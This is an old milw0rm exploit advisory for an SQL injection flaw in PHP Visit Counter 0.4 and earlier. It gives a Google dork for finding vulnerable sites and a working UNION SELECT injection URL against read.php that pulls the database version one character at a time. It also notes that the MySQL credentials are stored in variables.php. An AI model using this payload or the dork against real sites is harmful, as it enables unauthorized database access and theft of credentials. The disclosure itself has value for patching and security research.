28 lines
No EOL
982 B
Text
28 lines
No EOL
982 B
Text
###############################################################
|
|
#
|
|
# PHP Visit Counter <= 0.4 - SQL Injection Vulnerability
|
|
#
|
|
# Vulnerability discovered by: Lidloses_Auge
|
|
# Greetz to: -=Player=- , Suicide, g4ms3, enco,
|
|
# GPM, Free-Hack, Ciphercrew, h4ck-y0u
|
|
# Date: 30.05.2008
|
|
#
|
|
###############################################################
|
|
#
|
|
# Dork: inurl:"read.php?datespan="
|
|
#
|
|
# Vulnerability:
|
|
#
|
|
# 1.) SQL Injection
|
|
#
|
|
# 1.1.) [Target]/read.php?action=read&cat=portal&datespan=null+group+by+null+union+select+1,2,ascii(substring(version(),1,1))/*
|
|
#
|
|
# Notes:
|
|
#
|
|
# Output is displayed as INT, so you've to convert it into ascii and
|
|
# scan every single letter to get the whole name.
|
|
# MySQL Data is stored in [Counterpath]/variables.php
|
|
#
|
|
###############################################################
|
|
|
|
# milw0rm.com [2008-05-31] |